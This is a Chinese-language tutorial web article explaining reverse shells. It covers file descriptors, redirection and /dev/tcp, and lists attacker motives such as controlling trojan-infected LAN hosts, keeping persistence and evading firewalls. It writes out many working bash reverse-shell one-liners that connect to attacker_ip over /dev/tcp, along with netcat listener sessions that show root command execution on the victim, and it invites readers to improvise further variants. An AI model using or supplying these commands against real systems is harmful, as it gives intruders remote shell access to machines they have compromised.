- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- 反彈shell的原理和作用是什么
本篇內容主要講解“反彈shell的原理和作用是什么”,感興趣的朋友不妨來(lái)看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強。下面就讓小編來(lái)帶大家學(xué)習“反彈shell的原理和作用是什么”吧!
就是控制端監聽(tīng)在某TCP/UDP端口,被控端發(fā)起請求到該端口,并將其命令行的輸入輸出轉到控制端。
攻擊者指定服務(wù)端,受害者主機主動(dòng)連接攻擊者的服務(wù)端程序,就叫反彈連接。reverse shell與telnet,ssh等標準shell對應,本質(zhì)上是網(wǎng)絡(luò )概念的客戶(hù)端與服務(wù)端的角色反轉。
深入理解文件描述符和重定向才能更好弄懂反彈shell。
1.某客戶(hù)機中了你的網(wǎng)馬,但是它在局域網(wǎng)內,你直接連接不了。
2.目標機器的ip動(dòng)態(tài)改變,你不能持續控制。
3.建立一個(gè)服務(wù)端讓惡意程序主動(dòng)連接,持久化。
4.防火墻受限,不能由外向內建立連接(不接受外部連接)。(通過(guò)傳輸層協(xié)議的全雙工通信實(shí)現交互)
備注:
全雙工傳輸 (Full-Duplex Transmissions)
交換機在發(fā)送數據的同時(shí)也能夠接收數據,兩者同步進(jìn)行,這好像我們平時(shí)打電話(huà)一樣,說(shuō)話(huà)的同時(shí)也能夠聽(tīng)到對方的聲音。目前的交換機都支持全雙工。
單工數據傳輸只支持數據在一個(gè)方向上傳輸;在同一時(shí)間只有一方能接受或發(fā)送信息,不能實(shí)現雙向通信,舉例:電視,廣播,計算機與打印機之間的通信是單工模式。
半雙工數據傳輸允許數據在兩個(gè)方向上傳輸,但是,在某一時(shí)刻,只允許數據在一個(gè)方向上傳輸,它實(shí)際上是一種切換方向的單工通信;在同一時(shí)間只可以有一方接受或發(fā)送信息,可以實(shí)現雙向通信。舉例:對講機。
WIKI的定義
全雙工(full-duplex)的系統允許二臺設備間同時(shí)進(jìn)行雙向數據傳輸。一般的電話(huà)、手機就是全雙工的系統,因為在講話(huà)時(shí)同時(shí)也可以聽(tīng)到對方的聲音。全雙工的系統可以用一般的雙向車(chē)道形容。兩個(gè)方向的車(chē)輛因使用不同的車(chē)道,因此不會(huì )互相影響。
測試一:
攻擊端:
[root@attacker]# nc -lvp 2333 //第一步 Connection from victim_ip:38712 docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255 ether XXXXXXXXXX txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.22.181.6 netmask 255.255.240.0 broadcast 172.22.191.255 inet6 fe80::216:3eff:fe0e:9d06 prefixlen 64 scopeid 0x20<link> //測試結果:實(shí)現了將受害端的標準輸出重定向到攻擊端,但是還沒(méi)實(shí)現用命令控制受害端。
受害端:
[root@victim]# bash -i > /dev/tcp/attacker_ip/2333 //第二步 [root@victim]# ifconfig //第三步 [root@victim]#
測試二:
攻擊端:
[root@attacker]# nc -lvp 2333 //第一步 Connection from victim_ip:38286 hostname //第三步(攻擊端執行命令) id whoami
受害端:
[root@victim]# bash -i < /dev/tcp/attacker_ip/2333 //第二步 [root@victim]# hostname attacker [root@victim]# id uid=0(root) gid=0(root) groups=0(root) [root@victim]# whoami root [root@victim]# //測試結果:實(shí)現了將攻擊端的輸入重定向到受害端,但是攻擊端看不到命令執行結果。
輸出重定向 >,相當于 1>,輸入重定向 <,相當于0<,如果要使用錯誤輸出,寫(xiě)成 2>。
例如,把正確的結果放到test.txt,而把錯誤的結果放到test2.txt文件中:
在正常輸入的命令結尾加上2>&1,這個(gè)語(yǔ)句可以理解為將錯誤輸出與標準輸出一致,也就是將他們輸出到一個(gè)文件中:
這里的&符號是為了區分文件跟文件描述符的,如果這里沒(méi)有&符號,系統會(huì )把它(1)理解為文件,而不是標準輸出
同理,在錯誤輸出的命令結尾加上1>&2,這個(gè)語(yǔ)句可以理解為將標準輸出與錯誤輸出一致,也就是將他們輸出到一個(gè)文件中:
查看一個(gè)進(jìn)程打開(kāi)了哪些文件:
[root@lee]# nc -lvp 2333 [root@lee]# netstat -ntlp|grep 2333 tcp 0 0 0.0.0.0:2333 0.0.0.0:* LISTEN 16303/nc
/proc/[進(jìn)程ID]/fd這個(gè)目錄專(zhuān)門(mén)用于存放文件描述符
[root@lee]# ll /proc/16303/fd total 0 lrwx------ 1 root root 64 Apr 20 14:41 0 -> /dev/pts/1 lrwx------ 1 root root 64 Apr 20 14:41 1 -> /dev/pts/1 lrwx------ 1 root root 64 Apr 20 14:41 2 -> /dev/pts/1 lrwx------ 1 root root 64 Apr 20 14:41 3 -> socket:[339049416] lrwx------ 1 root root 64 Apr 20 14:41 6 -> /dev/pts/1
cd /dev/pts ll
上圖的多個(gè)tty我理解為交互式shell(終端)的數量。tty設備包括虛擬控制臺,串口以及偽終端設備。
上圖我用xshell起了7個(gè)交互式shell,都關(guān)閉只保留一個(gè)時(shí):
dev是設備(device)的英文縮寫(xiě)。這個(gè)目錄中包含了所有Linux系統中使用的外部設備。是一個(gè)訪(fǎng)問(wèn)這些外部設備的端口。我們可以非常方便地去訪(fǎng)問(wèn)這些外部設備,和訪(fǎng)問(wèn)一個(gè)文件,一個(gè)目錄沒(méi)有任何區別。(Linux一切皆文件)
/dev/null 它是空設備,也稱(chēng)為位桶(bit bucket)或者黑洞(black hole)。你可以向它輸入任何數據,但任何寫(xiě)入它的數據都會(huì )被拋棄。通常用于處理不需要的輸出流。(當然,它也可以作為空的輸入流)
例如:
/dev/zero
創(chuàng )建一個(gè)為NULL填充的文件。
dd if=/dev/zero of=foobar count=2 bs=1024 dd:用指定大小的塊拷貝一個(gè)文件,并在拷貝的同時(shí)進(jìn)行指定的轉換。
linux命令總結dd命令詳解
偽終端(/dev/pty/)
偽終端(Pseudo Terminal)是成對的邏輯終端設備(即master和slave設備, 對master的操作會(huì )反映到slave上)。
/dev/tty是當前進(jìn)程的控制終端的設備特殊文件。
/dev/hd[a-t]:IDE設備 /dev/sd[a-z]:SCSI設備 /dev/fd[0-7]:標準軟驅 /dev/md[0-31]:軟raid設備 /dev/loop[0-7]:本地回環(huán)設備 /dev/ram[0-15]:內存 /dev/null:無(wú)限數據接收設備,相當于黑洞 /dev/zero:無(wú)限零資源 /dev/tty[0-63]:虛擬終端 /dev/ttyS[0-3]:串口 /dev/lp[0-3]:并口 /dev/console:控制臺 /dev/fb[0-31]:framebuffer /dev/cdrom => /dev/hdc /dev/modem => /dev/ttyS[0-9] /dev/pilot => /dev/ttyS[0-9] /dev/random:隨機數設備 /dev/urandom:隨機數設備
bash -i 表示創(chuàng )建一個(gè)交互式的shell
/dev/tcp/ip/port,這個(gè)文件不是存在的,但是當你在監聽(tīng)這個(gè)端口的時(shí)候,對這個(gè)文件進(jìn)行讀寫(xiě),就可以實(shí)現兩個(gè)主機之間的socket通信
首先我們在攻擊機開(kāi)啟監聽(tīng),然后在Linux機器上輸入下面的命令,即將指定字符通過(guò)tcp協(xié)議發(fā)送到攻擊機的2333端口:
echo 1 > /dev/tcp/attacker_ip/2333
攻擊機監聽(tīng):
nc -lvp 2333 Connection from victim_ip:49948 1
UDP發(fā)包同理:
echo 2 > /dev/udp/attacker_ip/2333
攻擊機監聽(tīng):
nc -luvp 2333 Received packet from victim_ip:22367 -> 192.168.0.226:2333 (local) 1
2>&1 將錯誤輸出和標準輸出輸出到同一個(gè)文件(Linux一切皆文件):
靶機:
echo1 1> /dev/tcp/attacker_ip/2333 2>&1
攻擊機:
[root@attacker ~]# nc -lvp 2333 Connection from victim_ip:5479 -bash: echo1: command not found
通過(guò) <將標準輸出改成標準輸入:
靶機:
cat < /dev/tcp/attacker_ip/2333 qwer asdf
攻擊機:
nc -lvp 2333 Connection from victim_ip:23610 qwer asdf
在攻擊機傳輸的內容會(huì )被重定向到靶機。
輸入重定向原理:
掌握了上面的原理,可以隨意構建反彈shell命令:
攻擊:
nc -lvp 2333
靶機:
bash -i 0< /dev/tcp/ip/2333 1>&0 2>&0
或:
bash -i 0< /dev/tcp/ip/2333 1>&0 2>&1 bash -i < /dev/tcp/ip/2333 >&0 2>&1 bash -i 1> /dev/tcp/ip/2333 0>&1 2>&1 bash -i 1> /dev/tcp/ip/2333 0>&1 2>&0
其他變形:
bash -i 1>& /dev/tcp/ip/port 0>&1 bash -i 1>& /dev/tcp/ip/port 0>&2 bash -i &> /dev/tcp/ip/port 0>&1 bash -i &> /dev/tcp/ip/port 0>&2
bash -i后的&>或>&表示混合輸出,即標準輸出1 + 錯誤輸出2
bash 和 sh 的一點(diǎn)兒區別
sh 遵循POSIX規范:“當某行代碼出錯時(shí),不繼續往下解釋”。bash 就算出錯,也會(huì )繼續向下執行。
簡(jiǎn)單說(shuō),sh是bash的一種特殊的模式,sh就是開(kāi)啟了POSIX標準的bash, /bin/sh 相當于 /bin/bash --posix
在Linux系統上/bin/sh往往是指向/bin/bash的符號鏈接
ln -s /bin/bash /bin/sh
Unix操作系統通常給每個(gè)進(jìn)程能打開(kāi)的文件數量強加一個(gè)限制,ulimit -n查看系統默認的文件描述符個(gè)數。
例如:
# ulimit -n 655360
表示系統支持的文件描述符 0-655359
page 1:
打開(kāi)"File"并且將fd 655359分配給它:
[j]<>filename # 為了讀寫(xiě)"filename", 把文件"filename"打開(kāi), 并且將文件描述符"j"分配給它. # 如果文件"filename"不存在, 那么就創(chuàng )建它.
eg:
exec 655359<> File
&- 關(guān)閉標準輸出
n&- 表示將n號輸出關(guān)閉
page2:
攻擊機:
[root@attacker]# nc -lvp 2333 # 第一步 Connection from victim_ip:46414 helloworld # 第三步 123
受害機:
[root@victim]# exec 65534<>/dev/tcp/attacker_ip/2333 # 第二步 [root@victim]# cat <&65534 helloworld 123
受害機的文件描述符同步讀取到攻擊機的寫(xiě)入。
page3:
[root@attacker]# nc -lvp 2333 Connection from victim_ip:46536 id 11
受害機:
[root@victim]#exec 65534<>/dev/tcp/attacker_ip/2333;cat <&65534|while read line;do $line;done uid=0(root) gid=0(root) groups=0(root) -bash: 11: command not found
受害機的文件描述符同步讀取到攻擊機的寫(xiě)入并通過(guò)shell腳本執行;
page4:
受害機的文件描述符同步讀取到攻擊機的寫(xiě)入并通過(guò)shell腳本執行后返回到文件描述符。
exec 65534<>/dev/tcp/attacker_ip/2333;cat<&65534|while read line;do $line 2>&65534 >&65534;done
掌握了原理,可以寫(xiě)出各種變形,例如:
exec 8<>/dev/tcp/attacker_ip/2333;bash<&8 >&8 2>&8
大家可以自由發(fā)揮。
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。
Copyright ? 2009-2021 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 珠海市特網(wǎng)科技有限公司 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站